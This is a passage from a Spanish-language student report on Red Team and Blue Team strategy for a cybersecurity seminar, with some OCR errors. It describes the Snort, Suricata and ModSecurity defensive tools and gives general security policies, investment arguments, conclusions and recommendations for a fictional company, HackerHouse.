de redes en todo el mundo. Snort se utiliza para detectar y prevenir amenazas de
seguridad informatica, como intrusiones y ataques maliciosos, en redes de
computadoras.

Las principales funciones de Snort son:

Deteccion de intrusiones: Analiza el trafico de red en busca de patrones y firmas
de atagues conocidos. Cuando detecta un patron o firma coincidente, genera una
alerta que puede ser utilizada para tomar medidas adecuadas.

Registro de eventos: Registra informacion detallada sobre los eventos de
seguridad detectados, lo que permite a los administradores de red analizar y
responder a las amenazas de manera efectiva.

Andlisis de protocolos: Es capaz de analizar diversos protocolos de red, como
TCP, UDP, ICMP, HTTP, SMTP, FTP y muchos otros, lo que le permite identificar
actividades andmalas en cualquier parte de la red.

Personalizacion y flexibilidad: Es altamente personalizable y permite a los
administradores crear reglas especificas para sus redes y necesidades de
seguridad. Esto significa que se puede adaptar para detectar amenazas especificas
0 comportamientos no deseados.

Comunidad y actualizaciones: Cuenta con una gran comunidad de usuarios y
desarrolladores que contribuyen con reglas y actualizaciones de seguridad
constantes, lo que garantiza que el sistema esté al dia en la deteccién de nuevas
amenazas.??

22 SNORT "SNORT". {En linea}. disponible en: https://www.snort.org/.
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e Suricata.

Suricata es un sistema de deteccion y prevencion de intrusiones en red (IDS/IPS)
de cddigo abierto y alto rendimiento. Al igual que Snort, Suricata se utiliza para
monitorear y proteger redes de computadoras contra amenazas de seguridad
informéatica, como intrusiones y ataques maliciosos.

Las caracteristicas principales de Suricata IDS/IPS son:

Deteccion de intrusiones: Analiza el trafico de red en busca de patrones y firmas
de ataques conocidos, al igual que Snort. Cuando detecta un patron o firma
coincidente, genera una alerta para notificar a los administradores de red sobre la
amenaza.

Prevencion de intrusiones: Ademas de su funcion de deteccion de intrusiones,
Suricata también puede actuar como un sistema de prevencion de intrusiones (IPS).
Esto significa que, ademas de detectar amenazas, puede tomar medidas activas
para bloquear o mitigar autométicamente los ataques en curso.

Soporte para reglas personalizadas: Es altamente personalizable y permite a los
administradores de red crear reglas especificas para sus necesidades de seguridad.
Esto permite adaptar el sistema para detectar y responder a amenazas especificas
o0 comportamientos no deseados en la red.

Anadlisis de protocolos avanzados: Es capaz de analizar una amplia variedad de
protocolos de red, lo que le permite identificar actividades anémalas en diversos
niveles de la pila de protocolos, incluidos TCP, UDP, ICMP, HTTP, FTP y otros.

Rendimiento y escalabilidad: Esta disefiado para ser de alto rendimiento y
escalable, lo que lo hace adecuado para redes de gran tamafio y con alto tréfico.
Puede ejecutarse en hardware especializado o en servidores estandar, segun las
necesidades de la red.?3

e ModSecurity.

ModSecurity es un modulo de seguridad de aplicacion web (WAF) de cédigo abierto
disefiado para proteger aplicaciones web y servidores HTTP contra una amplia
variedad de amenazas y ataques cibernéticos. Se integra tipicamente con
servidores web como Apache HTTP Server y Nginx y se utiliza para aumentar la
seguridad de las aplicaciones web al filtrar y analizar el trafico HTTP entrante y
saliente.

2 SURICATA "SURICATA". {En linea}. disponible en: https://suricata.io/.
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Las principales funciones de ModSecurity son:

Deteccion y prevencion de ataques: Es capaz de detectar y prevenir una amplia
gama de ataques web comunes, como inyecciones SQL, ataques de cross-site
scripting (XSS), inclusion de archivos locales, secuencias de comandos entre sitios
(CSRF) y otros.

Reglas personalizadas: Los administradores de sistemas y desarrolladores web
pueden crear reglas personalizadas para adaptar ModSecurity a las necesidades
especificas de sus aplicaciones. Esto permite bloquear amenazas especificas y
comportamientos maliciosos conocidos.

Registros detallados: Registra detalles sobre las solicitudes y respuestas HTTP,
lo que facilita la auditoria y el andlisis de seguridad. Los registros pueden ayudar a
identificar patrones de ataque y posibles vulnerabilidades en las aplicaciones web.

Flexibilidad: Es altamente configurable y se puede ajustar para satisfacer las
necesidades de seguridad de una organizacion. Puede ser utilizado en diversos
entornos, desde pequefios sitios web hasta aplicaciones empresariales de gran
escala.

Integracion con otros sistemas de seguridad: Se integra facilmente con otros
sistemas de seguridad y herramientas de monitoreo, lo que permite una defensa en
profundidad y una visibilidad completa de la seguridad de las aplicaciones web.?*

2 GitHub "GitHub". {En linea}. disponible en: https://github.com/SpiderLabs/ModSecurity.
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2.5 ETAPA 5 - SOCIALIZACION DE INFORME TECNICO.
Anexo 6 — Escenario 5.

Este anexo tiene la finalidad de brindar una guia para la identificacion de un
problema especifico en temas técnicos que se ejecutan en equipos Blue Team y
Red Team a modo de informe final gerencial.

Situacion problema: Analisis Final.

HackerHouse requiere un informe final del postulante al puesto de Red Team o Blue
Team; el postulante (estudiante) debera elaborar un documento el cual contenga
cada uno de los escenarios y soluciones generadas a lo largo del curso de seminario
especializado. Este documento dara por finalizado el periodo de prueba de cada
uno de los postulantes y sera revisado por los ingenieros de seguridad de
HackerHouse. ElI documento debe contener la estructura plasmada en la guia de
actividades.

2.5.1 De qué manera pueden aportar en el campo de la ciberseguridad la
integracion de equipos Blue Team, Red Team y Purple Team al mismo
tiempo dentro de una organizacion.

La integracién de equipos Blue Team, Red Team y Purple Team al mismo tiempo
dentro de una organizacion puede aportar significativamente al campo de la
ciberseguridad al mejorar la capacidad de la organizacién para defenderse contra
amenazas cibernéticas. A continuacién, se describen algunas de las formas en que
esta integracion puede ser beneficiosa:

e Mejora de la deteccidén y respuesta a amenazas: El equipo Blue Team se
centra en la defensa y la deteccibn de amenazas, mientras que el equipo Red
Team simula ataques y busca vulnerabilidades. La colaboracion entre estos
equipos permite una deteccion mas efectiva de amenazas, ya que el Red Team
puede proporcionar informacion valiosa sobre tacticas y técnicas de ataque
realistas que el Blue Team debe defender. El Purple Team, al actuar como
mediador y facilitador, puede asegurarse de que esta informacién se comparta
de manera efectiva.

e Refinamiento de politicas y procedimientos de seguridad: La integracion de
estos equipos también permite una revisidbn constante de las politicas y
procedimientos de seguridad. El Purple Team puede trabajar en conjunto con
los equipos Red Team y Blue Team para identificar areas donde las politicas y
procedimientos deben mejorarse 0 ajustarse en funciéon de las amenazas y
vulnerabilidades detectadas. Esto contribuye a la mejora continua de la postura
de seguridad de la organizacion.
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Evaluacion de riesgos mas completa: La combinacion de Red Team, Blue
Team y Purple Team proporciona una evaluacion de riesgos mas completa. El
Red Team simula amenazas del mundo real, el Blue Team se enfoca en la
defensay el Purple Team garantiza la alineacion de los esfuerzos. Esto ayuda a
la organizacion a identificar y priorizar las amenazas y vulnerabilidades mas
criticas y a tomar medidas proactivas para abordarlas.

Cultura de seguridad fortalecida: La presencia de estos equipos y la
colaboracion constante fomentan una cultura de seguridad mas fuerte dentro de
la organizacion. Los empleados en todos los niveles pueden aprender de las
practicas de seguridad y las lecciones aprendidas por los equipos Red Team y
Blue Team. Esto ayuda a crear una mentalidad de seguridad en toda la
organizacion.

Mejorade laresiliencia cibernética: La integracion de equipos Red Team, Blue
Team y Purple Team ayudan a la organizacion a volverse mas resistente a las
amenazas cibernéticas. Al trabajar juntos de manera continua, estos equipos
pueden identificar y abordar las debilidades en la infraestructura y los procesos,
lo que reduce la superficie de ataque y mejora la capacidad de respuesta ante
incidentes.

2.5.2 Plantee politicas de seguridad y recomendaciones para mejorar los aspectos

de ciberseguridad en cualquier organizacion en sus entornos T.I.

A continuacién, se tienen algunas politicas de seguridad y recomendaciones
generales para mejorar los aspectos de ciberseguridad en una organizacion en sus
entornos de Tecnologias de la Informacién (TI):

Politicas de seguridad.

Politica de contrasefas fuertes: Requerir contrasefias complejas y de longitud
suficiente. Establecer una politica de cambio de contrasefias periddica.
Promover el uso de autenticacion de dos factores (2FA) cuando sea posible.

Politica de actualizacion de software: Mantener todos los sistemas y software
actualizados con los ultimos parches de seguridad. Establecer un proceso de
revision y aplicacion regular de actualizaciones.

Politica de acceso y autorizacion: Limitar el acceso a sistemas y datos solo a

personal autorizado. Implementar el principio de "menor privilegio” para restringir
el acceso a lo estrictamente necesario para realizar el trabajo.
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Politica de educacion en ciberseguridad: Proporcionar formacién regular en
ciberseguridad para todos los empleados. Fomentar la conciencia sobre las
amenazas cibernéticas y la responsabilidad individual en la seguridad.

Politica de gestion de dispositivos moviles: Establecer directrices para el uso
seguro de dispositivos moviles en el trabajo. Implementar medidas de seguridad,
como el cifrado de datos y la capacidad de borrado remoto.

Recomendaciones.

Segmentacion de redes: Segmentar la red en subredes para aislar sistemas
criticos y reducir la propagacion de posibles amenazas.

Monitoreo continuo: Implementar sistemas de deteccion de intrusiones y
monitoreo de seguridad para identificar actividades sospechosas en tiempo real.

Cifrado de datos: Cifrar datos sensibles tanto en reposo como en transito.
Utilizar protocolos de cifrados seguros, como HTTPS y VPNSs.

Respuesta a incidentes: Establecer un plan de respuesta a incidentes
detallado que incluya procedimientos para notificar, investigar y mitigar
incidentes de seguridad.

Respaldo de datos: Realizar copias de seguridad regulares de datos criticos y
almacenarlas de forma segura, fuera de la red principal.

Evaluaciones de vulnerabilidades: Realizar evaluaciones regulares de
vulnerabilidades y pruebas de penetracién para identificar debilidades en la
seguridad y abordarlas de manera proactiva.

Cumplimiento de regulaciones: Cumplir con las regulaciones y estandares de
seguridad aplicables a su industria.

Auditorias de seguridad: Realizar auditorias de seguridad periddicas para
evaluar la eficacia de las politicas y practicas de seguridad implementadas.

Se de tener en cuenta que las politicas de seguridad y las recomendaciones deben
adaptarse a las necesidades especificas de la organizacion y a su entorno TI.
Ademas, es fundamental que la alta direccion respalde y promueva activamente las
iniciativas de ciberseguridad para garantizar su efectividad.
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2.5.3 Conclusiones que orienten aspectos importantes en cuando a la inversion de
ciberseguridad dentro de las organizaciones, deben tener en cuenta cada
una de las etapas que se ejecutaron a lo largo del seminario para poder
ejecutar estas conclusiones y soportar a la alta gerencia la necesidad de
inversion.

La inversion en equipos estratégicos de ciberseguridad Red Team y Blue Team es
crucial para proteger las organizaciones en un entorno cada vez mas amenazante
en términos de seguridad cibernética. A continuacién, se presentan algunas
conclusiones importantes que pueden ayudar a orientar aspectos en cuanto a la
inversion en ciberseguridad y respaldar a la alta gerencia en la necesidad de invertir
en estos equipos:

e Identificacion de amenazas y vulnerabilidades: Los equipos de Red Team
desempefian un papel fundamental al simular ataques y explotar
vulnerabilidades de manera controlada. Esto proporciona una comprension
profunda de las amenazas reales que enfrenta la organizacion y revela las
debilidades que podrian ser explotadas por ciberdelincuentes. La inversiéon en
un equipo Red Team ayuda a identificar y priorizar las areas criticas que
requieren proteccion.

e Mejorade la preparaciéon y respuesta: Los equipos de Blue Team se enfocan
en la defensa y en la deteccién de amenazas. La inversion en un equipo Blue
Team permite una respuesta mas rapida y efectiva ante incidentes de seguridad.
Esto puede minimizar el impacto de los ataques y reducir los costos asociados
con la recuperacion de incidentes.

e Cultura de seguridad: La presencia de equipos Red Team y Blue Team
promueve una cultura de seguridad en la organizacion. Los empleados en todos
los niveles se vuelven mas conscientes de las amenazas cibernéticas y de su
papel en la proteccion de los activos de la empresa. Esto puede reducir
significativamente el riesgo de caer victima de ataques basados en la ingenieria
social o el error humano.

e Cumplimiento y regulaciones: Muchas industrias estan sujetas a regulaciones
estrictas en cuanto a la ciberseguridad, y la inversibn en equipos de
ciberseguridad puede ayudar a garantizar el cumplimiento de estas
regulaciones. Las sanciones por incumplimiento pueden ser costosas y dafinas
para la reputacion de la empresa.

e Gestion deriesgos y reputacion: Las inversiones en equipos Red Team y Blue
Team no solo se trata de evitar incidentes, sino también de gestionar riesgos.
Proteger los datos y la reputacion de la empresa es fundamental para mantener
la confianza de los clientes y socios comerciales.
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e Inversién en innovacion: La ciberseguridad es un campo en constante
evolucion, y la inversién en estos equipos puede mantener a la organizacion a
la vanguardia de las ultimas amenazas y técnicas de defensa. Esto puede ser
esencial para la innovacion y el crecimiento continuo.

La inversidén en equipos estratégicos de ciberseguridad Red Team y Blue Team es
una inversion necesaria para proteger los activos y la reputacion de la organizacion
en un mundo digitalmente conectado y peligroso. Estas conclusiones pueden
ayudar a la alta gerencia a comprender la importancia de la inversion en
ciberseguridad y respaldar su implementacién efectiva.

2.5.4 Sustenta el desarrollo de cada uno de los puntos plasmados en guia de la
etapa 5 del seminario especializado mediante video donde se pueda
evidenciar rostro del o la estudiante con una duracién minima de 15 minutos,
el estudiante debera hacer publico el video haciendo uso de alguna
plataforma Cloud o en YouTube.

URL de video de sustentacion de informe técnico.

https://lyoutu.be/Z0-S9ZVILPw
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3 CONCLUSIONES

A lo largo de esta investigacion, hemos demostrado que la implementacion de
estrategias de Red Team y Blue Team en una organizacion puede mejorar
significativamente su postura de seguridad informatica. EIl Red Team puede
simular ataques y desafiar las defensas de la organizacion, mientras que el Blue
Team trabaja para detectar y defenderse contra estas amenazas. Esta
colaboracion fomenta una cultura de mejora continua de la seguridad y ayuda a
las organizaciones a estar mejor preparadas para enfrentar las amenazas
cibernéticas en constante evolucion.

En un mundo cada vez mas digitalizado y amenazado por ciberatagues
constantes, es crucial que las organizaciones y los profesionales de la
ciberseguridad comprendan la importancia de las estrategias de Red Team y
Blue Team. Estas estrategias no solo ayudan a proteger los activos criticos de
una organizacion, sino que también pueden ser una ventaja competitiva al
demostrar a los clientes y socios comerciales que se toma en serio la seguridad.

Durante esta investigacion, hemos destacado la importancia de la colaboracion
estrecha entre los equipos de Red Team y Blue Team, asi como con otros
departamentos de seguridad informatica y tecnologia de la informacion. La
colaboracion interdisciplinaria no solo permite una comprension mas profunda
de las amenazas y vulnerabilidades, sino que también promueve la innovacion
en la mejora de técnicas. La creacion de un ambiente donde los conocimientos
y las experiencias se comparten libremente puede conducir a avances
significativos en la seguridad cibernética.

La seguridad informatica es un campo en constante evolucion, con nuevas
amenazas y tacticas emergentes constantemente. Por lo tanto, es fundamental
que las estrategias de Red Team y Blue Team se adapten y evolucionen de
manera continua. Ademas, la formacién y el desarrollo profesional de los
miembros de estos equipos son esenciales para mantenerse al dia con las
Gltimas tendencias y tecnologias en ciberseguridad. La inversion en capacitacion
y el fomento de una cultura de aprendizaje continuo son estrategias clave para
contribuir a la mejora constante de las técnicas de Red Team y Blue Team.

Después de un analisis exhaustivo de las operaciones de Red Team y Blue
Team en HackerHouse, se ha llegado a la conclusion de que la colaboracién
efectiva entre ambos equipos es esencial para una ciberseguridad sélida. Las
estrategias actuales han demostrado ser efectivas en la identificacion y
mitigacion de amenazas, pero existe margen para una mejora continua. Se
recomienda fomentar una comunicacion mas estrecha y un intercambio de
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informacion mas fluido entre los equipos, lo que permitira una deteccion y
respuesta mas agil a las amenazas cibernéticas.

La evaluacion de las estrategias actuales también destaca la importancia de la
inversion en formacion y tecnologia avanzada. Se recomienda que HackerHouse
brinde oportunidades de capacitacién continua a los miembros de los equipos
Red Team y Blue Team para mantenerse al dia con las Ultimas tendencias y
técnicas en ciberseguridad. Ademas, la adopcion de herramientas y tecnologias
de seguridad de vanguardia puede mejorar significativamente la capacidad de
ambos equipos para detectar y mitigar amenazas de manera mas efectiva.
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4 RECOMENDACIONES

Organizar talleres y simulaciones en vivo es una excelente manera de mostrar
de manera practica como funcionan las estrategias de Red Team y Blue Team.
Se puede invitar a profesionales de ciberseguridad o expertos en la materia para
que lideren ejercicios en los que los participantes actiien como miembros de uno
u otro equipo. Esto ayuda a las personas a comprender mejor los desafios y las
dinamicas involucradas en la ciberseguridad y demuestra la importancia de tener
equipos especializados en deteccibn y mitigacion de amenazas. Estas
experiencias practicas son memorables y pueden dejar una impresiéon duradera
en los participantes.

Utilizar una comunicacién clara y ejemplos préacticos para ilustrar cdmo Red
Team y Blue Team pueden beneficiar a una organizacion. Se puede crear
infografias, presentaciones o documentos informativos que expliquen de manera
sencilla las funciones de cada equipo y como trabajan juntos para mejorar la
seguridad. Ademas, se puede destacar casos de estudio o ejemplos de
situaciones reales en las que la falta de coordinacién entre Red Team y Blue
Team resultd en vulnerabilidades explotadas o incidentes de seguridad
significativos. Los ejemplos practicos ayudan a concretar la importancia de estas
estrategias y aportan contexto real a la discusion.

Establecer programas de entrenamiento y desarrollo continuo para los miembros
de los equipos de Red Team y Blue Team es esencial. Esto puede incluir cursos
de capacitacion en las ultimas técnicas de ataque y defensa, certificaciones de
seguridad cibernética y la participacion en ejercicios de simulacion de amenazas.
La formacion continua no solo ayuda a mantener actualizadas las habilidades de
los equipos, sino que también promueve un ambiente de aprendizaje constante
y mejora la efectividad en la identificacién y mitigacion de amenazas.

Incentivar la investigacion y la innovacion interna en ciberseguridad es otra
estrategia clave. Puedes crear un ambiente donde los miembros de los equipos
de Red Team y Blue Team tengan tiempo y recursos dedicados para investigar
nuevas técnicas, herramientas y enfoques en seguridad cibernética. Estas
investigaciones pueden llevar a la creacion de soluciones personalizadas y mas
efectivas para abordar las amenazas especificas que enfrenta tu organizacion.
Ademas, considera la posibilidad de establecer un proceso formal para la
revision y la implementacion de las mejores practicas y descubrimientos
internos.

Es fundamental llevar a cabo una evaluacion exhaustiva del rendimiento de los
equipos Red Team y Blue Team. Esto implica analizar métricas de desemperio,
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como el tiempo de deteccidn de amenazas, la eficacia en la mitigacion de
ataques, el numero de falsos positivos, entre otros. Utilizar esta informacién para
identificar areas de mejora especificas y obtener una comprension completa de
las fortalezas y debilidades de los equipos.

Es importante obtener retroalimentacion de los propios miembros de los equipos
Red Team y Blue Team, asi como de otros participantes internos y externos que
interactian con estos equipos. Esto puede incluir entrevistas, encuestas o
reuniones de retroalimentacion. Las perspectivas de quienes trabajan
directamente en estas funciones y de quienes dependen de su trabajo pueden
proporcionar informacion valiosa sobre areas de mejora y oportunidades no
detectadas previamente.
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